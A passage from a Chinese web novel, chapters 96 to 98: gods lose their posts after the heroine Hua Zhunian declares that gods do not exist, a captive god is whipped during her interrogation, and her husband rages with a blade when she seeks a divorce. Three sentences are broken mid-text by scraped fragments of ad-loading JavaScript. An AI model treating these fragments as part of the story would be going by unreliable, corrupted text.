每个人都被她气得不轻。 “她有天命在身,自己又是个极有号召力的人。只要她一说没有神仙,那百姓谁还会相信有神仙呢?九重天是靠着凡间的信仰,重重建立起来的。百姓都不再信仰仙界了,那可不就层层坍塌了吗!” “我们的神职,也是在她说过之后,被天道给一起革除了。” “真是神经!你当时干嘛不好好跟她说?搞得她以为神仙不救世,就是一个个吃干饭的一样。个人有个人的修行,你怎么就不能跟她讲清楚呢?” “要不是当初你们吵得那样厉害,把她弄得心灰意冷,她也不会不再信仰你。可她不信仰你就算了,干嘛把我们也给否定了?” “有时候都怀疑,是不是你们两口子弄得假招子,嫌仙界的神仙太多,占份额了是吧!非要人下去投胎转世,重新积攒功德,重新封神。怎么,这人间改朝换代,仙界也得跟着改么?” “我是真服了!她就是个莽夫!她比贺平安还莽!说话完全不考虑后果么?她知道自己给仙界诸神惹来这么大麻烦么?” “仙界又不是没安排神轮回转世,每年都有啊,本来大家排队排得好好的,谁想到被她一下全拨拉下来了!我可是刚回仙界啊,我在人间受了五十年的苦,回来连口茶都没喝,就因为她这一句话,又被打回来投胎。若是光投胎也就罢了,怎么神职还给革除了呢?这要是世世都没攒够功德,那还不得一直做人啊!” “呵,做人都是好的,搞不好世世沦为畜生道呢。这谁说得准啊?你说她这个人也是,我就没见过这么不管不顾的。自己跟个怨鬼一样过活,还弄得大家都不好过!” 诸神对花祝年的怨气越来越重。 之前,还勉强因着她是衡羿的小妻子,所以也没说太过分的话。 只是委屈抱怨。 可随着一次次地宣泄,竟然越来越不像话了。 “要我说,天道活该不让她上天!她这种反贼,在人间造反,上了天,岂不是还要造反?” “我觉得也是。旁人都是世世修上来的,她这样的,修多少世,都不会有她的容身之地的。” “这次若不是上天要她平乱治世,当初她就该魂飞魄散!哪能让她活到这个时候?咱们也不会遭这个罪!” 此话确乎是说到衡羿的痛处了。 其实,他的脾气一向是极好的,不然这些人也不敢在他面前,这样说他的小妻子。 若是换了上衡,可能当场就让这群神仙魂飞魄散,到时候连鬼都做不成了。 这些神骂了花祝年半天,衡羿也只是默默地听着。 唯独说到她活该有如此下场之时,他的面容才有几分变化。 不再似以往那般和煦。 草席仙向来会察言观色,他示意众神不要再说了。 可他们还是不停地讲…… 之前吃瓜的时候,只觉得她连那骨子里的暴戾,都是极为可笑的。 可一旦搞到他们自己身上了,她就成了十恶不赦之人,连最起码的规矩都不懂。 衡羿将每一句都听进了心里。 他的脸色越来越难看,本来也觉得他们惨,可是越忍越忍不住。 “她至少有不被天地拥有的勇气,你们呢?” “不过是下凡历个劫而已,看你们那一个个如丧考妣的样子!” “倘若有本事的话,无论轮回多少世,最终都会位列仙班的。何须害怕被革神职呢?” “不按程序来,全部轮回怎么了?仙界就要一切衡稳,不能有所变动吗?人间每天都在闹乱子,不是也在忍受各种动荡吗?怎么,突然打乱你们的计划,就这么忍不了了?” “连这点儿心性都没有,那还做什么神?还让百姓供养你们,你们也配受万民供养?说出去,要笑死人了。” “信仰坍塌有什么好惧怕的?百姓既然不信神,你们就下去重新修好了!一世修不好,就世世修,世世修不好,那只能怪自己的造化了。倘若有造化好的,重新赢得百姓的信仰,让众生为你们塑神像,不就又能位列仙班了吗?” 仙界脾气最好的神,对着诸神好一通发脾气。 虽然,他的语气不像寻常人那般激烈,可是每句话都是极有分量的。 精准地刺到了每个神的心上。 草席仙上来打圆场道:“大家,也,也不是说她做的错。只是,太突然了,一时没办法接受,看来,还是要继续修炼啊。” 衡羿随意挥了下衣袖,背身而立:“去投胎吧。我就不送各位了。” 其实,这些神也不单单是为了抱怨而抱怨,主要是想趁着自己还有法力,看能不能把衡羿送去花祝年的梦里,让他再好好跟她解释解释。 说白了就是逼着他向她求饶,让她收回那句没有神的话,实在不行,他跪下来扇自己大耳光子也行,只要别牵连到他们就好。 可现在,俨然起了反效果。 衡羿看来是不会去给她托梦了,还反过来教训了他们一通。 众神垮着张脸去投胎,唯独兵革仙被衡羿喊住了。 他对她问道:“她可还活着?” 兵革仙面露难色。 “不妨直说。” “说实话,我下来的时候,她还没醒过来。” “怎么会这样?” “唉,鲁戎不是设了阵法吗?就在花祝年把小泥人射碎之后,鲁戎那边的人,直接朝她放了一支毒箭。射在心脏上,自此就一直没醒。” “虎翼重新给她塑好了小泥人儿,可是没什么效果,贺平安跟风和畅也人手捏了一个,军营里的人也开始拜。大家都不认为,她是被毒箭所伤,或者说,就算是由毒箭所伤,拜拜小泥人儿,也能让她醒过来。总之,他们还是觉得一切都是小泥人儿的功劳。” “大概是世事本不全吧,她灭了半天的神,没想到,还是没灭掉自己亲手塑的。她自己是不拜了,起义队伍还是拜的。不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拜别的神,只拜她塑的神。也可能是在拜她,她现在在百姓中的地位,就是世间唯一的神。” 衡羿冷笑一声:“她也是出息了。” 把别的神都弄下去,自己倒当起神来了。 兵革仙笑道:“这并非她的本意。是世间的人太绝望了,他们太需要一个神,来拯救自己。因为当前的乱世,好像并非人力能救的。” 衡羿看着桥下一百二十年的乱世,又开始想自己的小信徒了。 哪怕,她已经不再相信他了。 “‘国之大事,在戎与祀。’历来的帝王,都是极为重视祭天的。以神权来为凭借,受命于天,既寿永昌。帝王可以借着神权,来压制百官,百官可以逐级而压。天总是黑压压的,看不见半点希望。” “她此番,也并非是因为跟我吵架,才会说从来没有神的存在。她只是想打掉人们心中的敬畏,或者说畏惧而已。倘若让人一直相信有神的存在,那就会相信一切均是命定。可命定的将来,是一百二十年的乱世,她是已然看到了的。” “她必须破除。只要人人开始不敬天,不敬神,那些老旧的帝王,还有老旧帝王所留下来的旧部,便再没有了狐假虎威的凭借。说得糙一些,连天王老子都敢杀,你一个受命于天的王侯将相,又算个什么东西呢?” “带着人起义,总是不那么容易的。说不定,哪天队伍就散了。她的目标,从来不是成就王侯将相,而是杀尽天下的王侯将相。可能,到最后,也包括她自己。倘若她自己也像老旧的帝王那般背叛,那也是允许被杀的。” 或许当初她死而复生之际,在前朝帝王说她迟早,也会如他那般荒唐之时,她就已经想好了对策。 防止自己变得荒唐。 在人间种下反抗的种子,若是连神都没有了,天都没有了,那有天命的人也不是不能杀。 不要因为一个人有天命,就甘愿忍受对方的欺压。 要看对方实际对待百姓如何。 倘若不好,该反还是要反的。她真正灭的部分里,也包括将来的自己。 “若要彻底改变这个人间,终结乱世。唯有将所有人心底的恐惧彻底拔除,才能真正地震荡风雷,肃清天地,众生慑服。” 兵革仙恍然大悟道:“她的目的,原来是这个。” 其实,就连她也以为,花祝年是因为当初跟衡羿吵架,所以才对神丧失信心的。 这就跟两口子吵架,最后闹起来把邻居家房顶子掀了没什么两样。所以,方才的诸神,才那般生气。 并没有想过,她是借着诛神的理由,来诛那些以神权,天权命定为依靠的王侯将相。 衡羿鄙夷又欣赏地说道:“她从来都是如此。心里想什么,总是给人一个假象。让人因着那处假象,去百般忙活,却从来不告知世人真相。帝王心,深似海,永远让人琢磨不透。现在别看只是一个小首领,做起事情来,就已经有模有样的了。灭佛灭道灭吏是这样,现在灭神灭天也是如此。” “她不是因为没有依靠到神而生气,所以否定神的存在。而是,让所有人都不再依靠虚无缥缈的东西。就连她的天命,她也是不信的。” 他曾经伪造着她平庸至极的证据,无所不用其极地贬损着有关于她的一切,试图安抚自己那颗因为终将要失去她,而惶惶不可终日的心。 可她在他回忆的每个瞬间,都是极为耀眼且不可磨灭的存在。 有着彻天沉雾都掩饰不住的光彩。 96. 他并不惦念她 兵革仙无憾地去投胎了。 她觉得像花祝年这样固执的人,无论做什么都会成功的。 那可是以一己之力,就是要给罪臣封神的女人。 九重天上的神前脚打桥上过,西天的佛后脚来。 不用问,肯定做的也是同样的事。 金身罗汉混于其中。 衡羿看着这一波又一波,被削去神职佛冕,去轮回转世的神佛…… 忽然觉得自己如今的际遇,勉强还算是好的。 至少,熬到她死,他就能回去了。 虽然九重天坍塌了,不过他倒是在天上还有个去处。 有一处小阁楼,那是天道给他传讯的地方。 并不是依照凡间的信仰之力所建。 他可以在那里住一住。 衡羿是个不挑地方的神,只要不在人间的红尘中打滚,天上哪个犄角旮旯里他都能待。 不过,他相信自己不会在那里待太久的。 凡间的生灵总是很脆弱,是需要神的存在的。 她在打天下的时候,灭得了一时的神,可灭不了一世的神。 衡羿正欲转身离开之际,金身罗汉走到他面前,恭敬地行礼。 之前他总担心这罗汉带花祝年下地狱,觉得他凶神恶煞,可现在看起来居然慈眉善目的。 “你那天出现在这里,其实不是想带她去地狱,是不是?” 金身罗汉腼腆一笑:“被仙君看出来了。” “能告诉我原因吗?” “三十年前,天道曾安排给我一个任务,是对你家那位的试炼。” 衡羿震惊道:“从三十年前,就开始了么?” “自从你死后,天道一直在找人。因着从你那里得到了惨痛的教训,所以这次再找就筛选得分外严格了一些。参与试炼的不只有我,也有不知情的人,一起参与了进来。这都是天道一早就安排好了的。只是,我的时间节点,是在三十年后。” 衡羿忍不住问他:“就连我,也是她受命的一关么?” 对方点了点头:“总要突破情关,才好接天命啊。不然,在起义大业上,万一有人献给她一个,和你相貌相似的小郎君,那她一时糊涂,将大业交给他了,怎么办?” 也就是说,天道从三十年前,就算到他会下来这一遭。 甚至是跟她发生些什么事。 就连他与她的诀别,也是被算准了的。 还真是,人算不如天算。 “倘若我不下来呢?” “就算你不下来,也会有旁的人,帮她过情关。但凡她被哪个男人绊住了脚,这辈子也就泯然众人了,再难接到什么天命。更不要说,带着众人起义了。” 衡羿冷笑道:“我怎么觉得,这样更好呢?” 他是希望她找个好人嫁了的。 一个女人瞎折腾什么?有福不会享,没苦硬要吃。 当初,若不是她执意要葬他,设下那些苛刻的条件,就单凭相貌和才情,找个世家公子也是不难的。 给人做妾也好啊。 至少,免这三十年的苦难与折磨。 只要她嫁得好,衡羿是不计较她嫁什么人的。 他希望她在人间过得自在,正如她希望他死后封神那般。 他们总是以各自认为好的方式,参与着对方的人生,最后却闹得不欢而散。 金身罗汉回想道:“其实,当初,我是真想她跟你走的。可偏偏我又是她的试炼者,那时候,也不好多说什么。劝她跟你走吧,她就会失去天命,在人间留下遗憾,百年乱世会持续很久。可看着她魂飞魄散,我也是很于心不忍的。” “我当时,提醒过你,不要跟她吵架。倘若你再好好哄哄她,你们说不定还有机会的。” 衡羿忽地笑了一下,虽然心疼却也有几分释然。 “没有机会了。我下来与不下来,都不会影响她接受天命。爱是无法消解她对乱世的恨意的。她注定会留存于世间。” 他是有自知之明的。 不过是个男人而已,怎么比得上她要做的事情呢? 当初,就算他再如何哄她,要她陪他去天上,或者哪怕是带她躲起来,可能也只会挨她的打骂吧。 毕竟,薛尘已经死了……死得很彻底。 就算她一时分不清,日子长了,终究是能分清的。 他也装不了一辈子。 金身罗汉正欲投胎之际,忽地听衡羿问道:“每一个试炼者,都能看到试炼对象的未来,是吗?” 衡羿虽然不确定,但是根据他曾给自己所透露的信息。 他觉得金身罗汉应该是能看到的。 金身罗汉回头说道:“当初我说的与佛家的那段缘分,确实是她会有空前绝后的灭佛举措。她在烧死那些危害空门的佛弟子时,我就已经看到了她的今天。” “那日说要带她去地狱,是对她试炼的最后一关。那一关,也是因你而来。当日,你被人污蔑谋反,居然不做任何反抗地就被捕了。天道觉得不行,应该找一个反得很彻底的人。反天,反地,就是天王老子来了,真正给她定罪了,她也不认,那样才有可能,在面对跟你同样的情况时取胜。” “所以,当我说要给她定罪时,倘若她屈服于我,跟着我去地狱,那天命也不会落在她身上。唯有她把我揍一顿,还要喊我的上级来领我……这才是天道真正要选的人。” 衡羿代替自己的小妻子,向金身罗汉致歉:“你受累了。” “嗐,谈不上。能见识到这样的人,我也觉得没白修行啊。不然,这人间的日子,真是过得没什么盼头。” “那,她将来会如何?” 金身罗汉作礼而退:“衡羿仙君,我只能告诉你已发生,至于当发生和未发生,要靠你自己去经历了。” 衡羿担心道:“我,我只是想知道,她这次——” 能不能挺过去? 金身罗汉没有回应,直到走过桥后,才转过身对他点了下头。 这个不太懂感情的金身罗汉,终究还是心软了。 他全程见证了这两个人的错过,哪怕他们连真正的交谈都没有几次。 可心里对这种难以言说的感情,还是惋惜和祝福的。 花祝年果然醒了过来。 她这次昏迷了半个月,等她睁眼一看,床上竟摆满了小泥人儿。 全是手下人,亲手给她塑的。给她气得,差点又昏倒过去。 边塞常有战事,衡羿虽立下战功,却也身负重伤,留营休养。 跟他一起休养的,全是负了伤的。 大家闲着也没事,又开始聊起了最近打听到的军情。 “你们知道,那小老太醒来之后,做的第一件事,是什么吗?” “听说是把满床的小泥人儿给砸了,她男人哭着跪求她,不要伤害前夫哥!说都是前夫哥保佑她,才让她醒了过来。” “不只她男人求,那个军师风和畅,也在那里求,连带着一群将士,哐哐地给她磕头。可那满床的小泥人儿,还是被她砸了个稀巴烂。” “那小老太说,谁要夺我的天命,那就尽数夺去吧!我们这些人起义,靠的从来不是天命。没有那堆破泥人儿,我照样带着你们杀出去。什么狗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 屁的天命……杀的就是天命!” 衡羿从旁人的话语中,拼凑着小信徒的形象。 不禁哑然失笑。 其实,他觉得当初,她跟宋礼遇说,她老实巴交了一辈子,大概是真的。 不然,人间恐怕会更乱吧。 乱世一直持续了十五年。 比预估中终结得要早很多,不过这十五年中,死的人也不少。 尸横遍野,白骨如山。 十五年来,花祝年从南一路打到北,跟其他的十几股势力都交过手。 唯独跟慎王,是最后才碰到一起。 衡羿这段时间,已然得到慎王的信任,成了他的破阵大将军。 可惜,在最后的激战中,哪怕衡羿安排重兵竭力守护,甚至安排好了真假慎王,以及兵败时严密的逃跑路线…… 慎王还是被花祝年那边不知名的人,一刀砍下了头颅。 作为慎王的大将军,衡羿沦为了阶下囚。 当初的十九股势力,宋礼遇他侄子跟花祝年,虽然有交过手,但没有大规模的激战。 后来,这老小子更是直接带着侄子投诚,捞了个跟前朝差不多的职位来做。 他总是站队很精准的,从未错过。 反正皇帝这位子谁做,都不耽误他当权臣,也不耽误他侄子做大将军。 一切如花祝年当初所构想的那般进行着。 好像改变了些什么,又好像什么都没有改变。 但应该还是有些改变的。 至少,不再打仗了。 风和畅和宋礼遇两个人,因为各自的阵营不同,将来再想联手也难。 她应该能摆脱傀儡的命运吧。 鲁戎早在十五年前,花祝年昏迷不醒的时候,就被贺平安拎了把大砍刀,孤身闯入苏寇营地,直接将她捉了过来。 后来,就被花祝年留在身边。 她给过鲁戎很多机会杀自己,鲁戎最终都没能下得去手。 两个人之间的误会,虽然仍旧没有完全解开。 不过,情况已然比之前好一些了。 尽管鲁戎仍旧不承认是在为她效力,她只承认是在为自己效力。 可花祝年并不在乎这些。 马上就要进京称帝了。 还有一批俘虏要处置,其中就包括衡羿。 十五年过去,物是人非,花祝年已然认不出他了。 不过,当初他给她留的印象也没有多深。 因此,她忘记他,实在是一件太过寻常的事情。 正如前世薛尘那般,不也是把她忘得很干净吗? 这并不值得他发脾气。 更何况,衡羿一向好脾气,所以倒也没有对她如何。 忘了,就忘了吧。 只是,看着她在牢中来见自己的样子,忽然觉得她好像也没有多大的变化。 跟十五年前相比,也只是略苍老了一些。 或许是因为,那时候,她就已经被摧残得很严重了吧。 现在还能再憔悴到哪里去呢? 花祝年看着这个阶下囚,明明被折磨得满身伤痕,却仍敢这样目不转睛地直视自己,犹豫着这个人是杀还是留。 可就在她犹豫之际,衡羿忽然开口问她:“你近来,胃口怎么样?夜里醒来的次数多吗?腰还会时常疼吗?” 花祝年愣了几秒后,才仔细地端详着他说道:“你问这些做什么?” “不做什么。我就是,随便问问。” 他并不惦念她,这不过是对老年人,最为寻常的问候。 只是他比较尊老爱幼。 97. 跪下来 ,质问她 花祝年并不如何在意,手下败将的问候。 哪怕,很亲切。 今天她来这里,也并非是平白无故的。 她有事情要问他。 本来她定下的规矩,是不会对俘虏上重刑的。 这个叫薛凡的将领,身上之所以受这样严重的伤,完全是不配合审问才会有如此下场。 听审问的人说,他非要见她,才肯讲。 花祝年对薛凡问道:“为什么提前设计慎王的逃跑路线?” 衡羿看着眼前的人,她曾经是他痴愚的小信徒,对这个世间感到毫无希望,现在不知道还是否如此。 他爱怜地问她:“你现在有喜欢这个世间一些吗?” 花祝年反手抽了他一鞭子,血肉瞬间翻涌出来,溅了她一脸的血点:“我在问你话!不是说我来了,就会讲吗?你乱扯别的干嘛?” 衡羿虽痛得闷哼一声,却仍忍不住对她调侃道:“看来还是不怎么喜欢啊。” 他的话音刚落,身上又挨了一鞭子。 疼笑了。 不知道为什么,他突然间想到,当初那群神仙跟他说的一句话—— 不能让不知轻重的人,拥有至高无上的权利,不然大家谁都不好过。 以神的维度看,其实她并没有如何厉害,心智和手段都不过是小孩子水平。 现在看起来就像一个小孩子,拿着不知道会造成多大伤害的东西,在胡乱地挥舞着。 她根本不懂他。 “行军打仗这么多年,安排逃跑路线很正常,可是为什么要让军中的所有人都知道?” 这才是花祝年真正想问的问题。 倘若只是少部分人知道,那是没什么关系的,可一旦大家都知道了,那就会影响士气。 可她派过去的探子说,薛凡似乎没有想瞒着。 好像是有意让大家都知道的。 而慎王对此没有明显反应,可能是已经被架空了。 甚至是,被心腹背叛。 花祝年其实还是很欣赏慎王的。 她曾经将他视为最难以战胜的对手,可他居然就这样被身边的人背叛,实在是件很遗憾的事。 可是,她并不确定,薛凡是否真的有背叛的意图。 还是说,一切只是凑巧? 衡羿没有直接回答她的问题,而是平静地说道:“收复河山,打仗是下下策,不战而屈人之兵才是上策。可惜,大家都好像看不清楚一样,杀个头破血流,为了谁呢?” 花祝年蓦地沉默了:“你到底想说什么?” “你当初也是没有办法才起义的吧。靠着不想再被人欺负的心,一路从南血战厮杀到北。接纳俘虏和对手的投诚,不也是为了减少杀戮吗?那我以祸乱军心的方式,直接让你那边的人终结慎王的生命,有什么不好?解决掉一个慎王,能保很多人的命呢。” 花祝年起初是想把宋礼遇,安排去慎王那边的。 不过,从一开始就不忠于慎王,和后期背叛慎王还是不一样的。 不忠在任何时候都是大忌。 “你什么时候开始背叛的他?” 她之前曾让风和畅搜集了各股势力中,那些得力干将的资料,包括他们的作战习惯。 其中自然也有他的。 三十岁出头的年纪,就能坐到这个位置,除了作战勇猛之外,势必是很得慎王青睐的。 衡羿笑了笑:“我没有背叛他,只是替他选择了他该走的路。” 花祝年才不信这些。替慎王选什么路?死路吗? “只是为了减少杀戮,所以才背叛他吗?” “也可以这样想吧。反正,我说什么,你总是不信的。你现在不相信任何人,不是吗?” 爬得越高,越像惊弓之鸟。 花祝年在原地怔了一会儿,思索着他话中的真假。 她不相信有这样的人。 只差一步就能得到那个位置了,怎么可能为了减少杀戮,就暗戳戳地向她投诚呢? 事先还一点风声都未曾透过。 这样的背叛理由,俨然不能保他的命。 今天他可以对慎王不忠,那明日也可以对她不忠。 到时都可以用减少杀戮的理由来辩解。 有朝一日,外族踏破河山,他也可以说,不抵抗是保留实力。 花祝年无法理解薛凡的想法。 不过没关系,反正这人她也是要杀的。 倘若他说个好一点的理由,或许她还会留他一命。 明目张胆地投诚,比临死之际的背叛,都更要让人信服。 在她转身之际,他对她问道:“你不会留我,是不是?” 其实,他早就想过,自己做每件事的结局。 她若是留下他,那才是件稀奇事。 可还是想亲口听她说,她要他死。 倒也不是在自虐,就是觉得好玩儿。衡羿像冷宫里疯了的妃子一样,企图小信徒在杀了他之后,可能会在某一日想起他是谁,然后帝恸哭…… 但应该不可能,帝王多是很薄幸的。 她现在冷血得让人害怕。 不过,无论她对他做什么,他都是很理解的。 他理解每个人的人生。理解他们的不甘、错愕、绝望、悲苦、自私、狭隘、扭曲、明朗、肆意…… 她在众生之中,从来不曾脱离。 花祝年没有回应薛凡,她没有必要告诉一个背叛者,自己今后的打算。 哪怕这事关他的命运。 她回去后,颁布了两条法令。一条大赦令,一条杀令。 慎王的那些将领,除了衡羿,所有人都被特赦了。 进京前,总要把人心给收拾干净。 她这里容不下背叛者。 花祝年自从打完最后一仗后,身体居然愈发疲倦,不似以往那般硬朗了。 她已经六十五岁了。 能撑到现在,已是件极不容易的事。 午睡的时候,门突然被人从外面踹开。 贺平安一刀劈开了她榻前的书桌,满腔怒火地看着她。 花祝年迷茫地睁开眼睛,以为自己又回到了十五年前,还是那个被他摁在泥里打的午后。 自从她死过一次后,贺平安对她格外珍惜,并未再对她拳脚相向。 其实以前也是很珍惜的,只是他容不下她心里有旁人。 现在依旧容不下,但没人敢亲近她了,再加上她也不再供奉小泥人儿,两人之间的日子,倒也如常地过了下去。 她从榻上坐了起来,锤了锤自己的老腰,耐着性子问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他:“你又在闹什么脾气?” 贺平安二话不说,将她房内的摆设,拿刀劈了个稀巴烂。 她屋中的一切,都是他给她打造的。 贺平安虽然不通文墨,但她的笔墨纸砚,都跟他脱不了干系。 花祝年漠然地看着贺平安发疯。 唉,他好些年不疯了,突然这样疯,不知道又是受了什么刺激。 贺平安将一切毁得彻底后,冲到她面前,跪下来质问她:“你要休我,是不是?” 她定了两秒后,忽地松了一口气,早说晚说都是说,他知道了也好。 “嗯。” 贺平安气得用刀背,疯狂地锤着自己的脑袋:“你休我干嘛啊?我对你不好吗?这些年,我哪件事没听你的?” 花祝年本想之后再亲自跟贺平安,说这件事的。 进京前,要把册封的名额弄好,依照贺平安的履历,是可以做征北大将军的。 她记得,在起义之初,他一直都想出人头地来着。 当然,她也不单单是为了他。朝堂方面,她有宋礼遇可以跟风和畅制衡。 可是军权方面,她能插手的部分,仍旧十分狭小。 也就是说,她需要一部分完全支持自己的队伍,不仅仅是在打天下的时候支持她,而是在得天下后,仍旧支持她的主张。 可这,是非常难的。 这也是她不让贺平安进后宫的原因。 贺平安拜将的名额,是她力排众议定下来的。 平心而论,她对他算不错的。 但贺平安完全不知道这些。 他是个顶级恋爱脑,还是偏残暴的那一类。 丝毫不在意她的处境如何,他也不想当什么将军,他就想进后宫! 爷们儿就要进后宫!才不要当将军,他根本不想要权力。 贺平安的性子始终都没有变。 旁人起义是为了封侯拜相,只有他一如既往地为了跟她在一起。 他只是在追随她,缠着她,霸占她,就算是有朝一日拥有权力,也是为了让她看得起自己。 可如果那份权力,会让他跟她分开的话,那他就不要了。 见花祝年沉默,他气得把刀一摔,忽地扑过去抱住她吼道:“婆娘,你说句话啊!” 她冷静下来后,问他道:“这件事,你是从哪里听来的?” 在公布名额之前,这些都是机密,可如果他提前知道的话,那势必是有人泄密。 贺平安趴在她肩上嗷嗷哭:“还用别人告诉我吗?大家都在议论说你不要我了!他们还说,你进京后,要广开后宫,养一堆小白脸宠幸。这才把我扔去塞北那个犄角旮旯的地方。” 花祝年气得想给他两巴掌,怎么别人说什么他都信? “给你权力不好吗?你可以在那边再找一个。王寡妇好像也还单着呢。” 贺平安从她肩上退出来,情绪崩得不能再崩道:“王寡妇单着,到底跟我有什么关系啊!她单一辈子都没人在乎!我明明有妻子,为什么要和离,跟不相干的人成亲?我哪有不守夫德,你凭什么休我?” 花祝年叹了口气,将其中利害关系讲给他听。 说了一下午,但他只听见了四个字——她要和离。 他不依,肯定是不依的! 98. 就要死命地拖着你 不过,他的胡闹,用处不大。 她已决意要离。 相较于贺平安的个人情感,自然是她的大业比较重要。 她撑着一把老骨头,吭哧吭哧十五年,绝不是为了做一个吃干饭的傀儡。 那跟前朝、前前朝、前前前朝……又有什么区别呢? 打仗死了那么多人,到死都没有看见太平,她要对得起那些死去的人。 花祝年伸手抚去贺平安脸上的热泪:“你回去吧。回去睡一觉,醒来就受封。” 贺平安的心起起落落的。 他以为她给自己擦泪,是心回意转了,没想到竟然是让他回去睡觉。 这是嫌他在这里闹了? 贺平安宣泄的声音,回荡在满地狼藉的房间。 “我为什么要受这个封?你凭什么安排每一个人?你他娘的就是个纯木头!根本不懂男人心里在想什么。一天天地,不是给那个封神,就是给这个封将军。谁要你封了吗?谁缺你封吗?” “当初,若不是你执意要给前夫哥封神,也不会草草地嫁给我,受这四十五年的王八气!我若是前夫哥的话,看你过的这破日子,九泉之下都难安,势必化为厉鬼!” “你从来,从来,都不管我们怎么想,就自己在那里莽着劲儿地瞎安排,不是,你到底懂不懂爱啊?” 贺平安控诉花祝年的声音,又大又难听。 让她听了也很难受。 他像一个绝望的糟老头儿,仿佛只要喊的声音足够大,气势足够威猛,就能让她回心转意一般。 偏偏,她也觉得,他的嘶吼,是带着血的。 她知道他不想和离,但是她没办法。 这时候也找不出旁人来扶持。 相较于她一个年迈的小老太,军中的人似乎更信服于那个三十多岁,正值壮年的军师风和畅。 花祝年听贺平安哭了半天,最后无奈地说了句:“别再哭了,再哭,眼睛哭瞎了怎么办?你年纪也大了。” 贺平安本来就已经很绝望了,听她这么一说,更是哭得嗷嗷的。 嗷嗷哭,还不忘跟她吵架:“你那是关心我吗?你明明是怕我瞎了之后,没办法再做什么征北大将军!到时候,军权方面你一点儿都插不上手。连带着宋礼遇跟风和畅,朝堂上的平衡也会打破。” “是呀。你这不是都知道吗?贺平安,你对我很重要的。” 贺平安恼道:“这算什么重要?这对我来说,一点儿也不重要!我根本就不想让你当什么皇帝,我想让你跟我回家种地!他们说的没错,女人一有权力就变心。” “……” 贺平安轻晃着花祝年的肩膀:“婆娘,你跟我回家吧。我们什么都不要了,反正天下也太平了。你我年纪也大了,回家过安稳日子多好啊!” 其实,贺平安倒也不是真的特别想回家种地。 他只是不想她当皇帝,开后宫养小白脸儿,到时候还有他什么事儿? 江山易改,本性难移。 对于贺平安这样的男人来说,是没有什么巧思去留住女人的。 旁的男人或长袖善舞,或楚楚可怜,或少年意气,或情意绵绵……就连衡羿那种老不死的老神仙,也懂得若有似无地挑逗一下她。 可贺平安,啥也不会,除了打她,就是骂她。 山野糙汉的想法,总是一根筋的,倘若明珠侥幸落于手,那定是要埋进土里。 也不肯让世人窥得半分光彩。 他是那样痴愚地喜欢她,喜欢到自己不要权力,也不许她触碰分毫。 花祝年气狠了,上去踹了贺平安一脚。 不过贺平安很厚实,差点没把她自己顶个跟头。 她揪起他的衣领气道:“我好说歹说哄了你一个下午,就是畜生也该通人性了,结果你就给我这句话?被逼得活不下去,才起的义,只差一步了,我为什么要回去?” “天下真的太平了吗?只是不敢再闹了,那群人要是没人管着,连三年都不用,只消三个月,欺负人的就全回来了!别人我不了解,我还不了解他们?” “眼看就要到手的权力,我为什么要放弃?你自己愿意回去,你就回,我不会拦你,但你别想拉扯着我一起!贺平安,坦白讲,这些年,我很感谢你为我出生入死。可你不能跟水鬼一样,死命地往下拖拽我。” 贺平安觉得无奈又委屈,他现在是真的不认识她了。 他大咧咧地叫嚷道:“为你出生入死,我就是你男人,让你放弃一切跟我回家,我就是水鬼,是吧!你还没当上皇帝呢,就已经薄情成这样了。真要让你当上了,你还不得上天呐!” 花祝年忍了一下午,终于是被他给逼恼了,她锤着坐榻嘶吼道:“我不是说给你权力了吗?你为什么非得要我回去?” “就要回去!只要我在一天,这个皇帝我就不让你当。我从一开始,就只是想陪着你,从没想过真让你当皇帝!不只我没想过,那些将领们都没想过,都以为你等不到收复河山,就死了。谁想到你能活到现在啊?” 这话是不假的,风餐露宿这么多年,她能撑到今天,的确是个奇迹。 换了旁的朝代,六十五岁都到了退位的年纪了,只有她,准备上位。 可终究也不是那样容易的。 就连她的家人,口口声声一心为她的男人,也会给她添麻烦。 她如今已经不想再跟他吵了。 “滚出去。” 贺平安大为震惊,他在这里撕心裂肺这么半天,她怎么能平复得这样快? 他跪在地上恨恨地怒吼道:“花祝年——” 把那个“年”字,拉扯了好长好长。 他的心仿佛也在拉扯中,被磨尽,碾碎了。 “你就算不爱我,好歹也装上一装。老子他妈都痛苦成这样了,你怎么跟个没事人一样?” 花祝年沉默地看着贺平安痛苦。 她没办法回应他,也给不到他什么情绪。 而且,她了解他这个人,越哄越来劲。 贺平安见她始终都这样无动于衷,忽然捡起地上那把刀来指着她,怒气冲冲地说道:“你以为老子这些年没再打你,是不敢打你是不是?” “老子告诉你,天王老子,老子也是敢杀的!你算什么东西?也不过是有天命而已,还是人们乱传的,你到底有没有,没人知道!老子之所以不打你,是,是——” 贺平安现在就是发大疯和死命哭的交叠状态。 他说着说着眼泪又涌了出来,想忍又没忍住,突然大“呱”了一声。 如果这时候,花祝年笑一下,可能他也就消停了,可是他发觉她的表情,仍旧是那样平静,或者说,麻木。 当即那股火就翻了几翻。 她不会为他哭,也不会为他笑。 哪怕是他在这里,把给她打造的一切,都毁了,她也觉得没什么。因为,她总是那样笃定,他会重新给她做。做桌子,做椅子,做茶杯,做毛笔……做专属于她的一切,他永远都不会用的东西。 她从来就不喜欢他,就连利用他都不肯假装爱他。 他知道,他都知道! 他的大砍刀仍指着她,说出来的话却没了气势。 “我不打你,是我怕打死你。我不想一个人活着。你为什么,就不能爱我?” 贺平安现在的情绪已经崩到极限了。 可她还是不管他死活地,理智又冷漠地说了句:“就是让你进后宫,在将来的日子里,我也未必会爱上你。和离后,你再找个好的,人生也才刚刚开始。贺平安,只要你想被爱,还是会有很多人爱你的。” 贺平安痛哭着嘶吼道:“你这个权力批,老子他妈的就该劈死你!我为什么要得到别人的爱?我要的是你,要你爱我!” 花祝年默了几秒后,有点儿妥协,但也不是那么妥协道:“和离后,我会以爱天下万民的心去爱你。” 贺平安哭着哭着,突然笑出了声,就是那种无语至极,然后绷不住的绝望感。 “你说这话,也不怕丧良心!老子缺你用爱天下万民的心爱我?你不过是想打发我走。” 花祝年漠然地看着他,也确实无力狡辩。 “该吃晚饭了,回去吧。你跟我闹了够久了。你若是还不解气,就弄死我也行。” 